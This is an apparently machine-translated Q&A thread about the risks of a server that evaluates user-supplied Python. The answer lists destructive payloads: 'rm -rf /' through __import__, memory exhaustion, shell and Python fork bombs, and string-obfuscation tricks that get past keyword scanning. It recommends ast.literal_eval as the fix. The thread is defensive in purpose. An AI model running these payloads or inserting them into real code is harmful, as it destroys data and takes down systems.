鉴于我的代码是开源的,而且我在服务器上运行,而且我接受几乎原始的代码,那可能发生在我身上的最糟糕的是什么?

Gly*_*can 3 python security code-injection

我正在研究几种情况,即接受几乎原始的代码会更加容易.所以,

  1. 如果你不能lambda,你可以用表达式做什么最糟糕的,怎么样?
  2. 如果您不能使用导入以及如何使用导入的代码,您可以做的最糟糕的是什么?(不能使用X ==字符串扫描为X)

另外,如果有人可以想到这样的expr给出d = {key:value,...}:expr.format(key)== d [key],那么B是必要的

不改变格式的外观.

Fre*_*Foo 13

你可以用表达式做的最糟糕的事情是

__import__('os').system('rm -rf /')
Run Code Online (Sandbox Code Playgroud)

如果服务器进程正在运行root.否则,您可以填充内存并使进程崩溃

2**2**1024
Run Code Online (Sandbox Code Playgroud)

或者通过执行shell fork炸弹使服务器暂停:

__import__('os').system(':(){ :|:& };:')
Run Code Online (Sandbox Code Playgroud)

或者在Python本身执行一个临时的(但足够破坏性的)fork炸弹:

[__import__('os').fork() for i in xrange(2**64) for x in range(i)]
Run Code Online (Sandbox Code Playgroud)

扫描__import__无济于事,因为有无数种方法可以实现,包括

eval(''.join(['__', 'im', 'po', 'rt', '__']))
getattr(__builtins__, '__imp' + 'ort__')
getattr(globals()['__built' 'ins__'], '__imp' + 'ort__')
Run Code Online (Sandbox Code Playgroud)

请注意,evalexec函数也可用于以间接方式创建上述任何内容.如果要在服务器上进行安全表达式评估,请使用ast.literal_eval.

  • 借鉴其他论坛/讨论网站的经验,我想建议那些对命令行环境没有充分了解的访问者:**不要尝试运行示例命令!!**[它会消灭你的整个根文件系统] (3认同)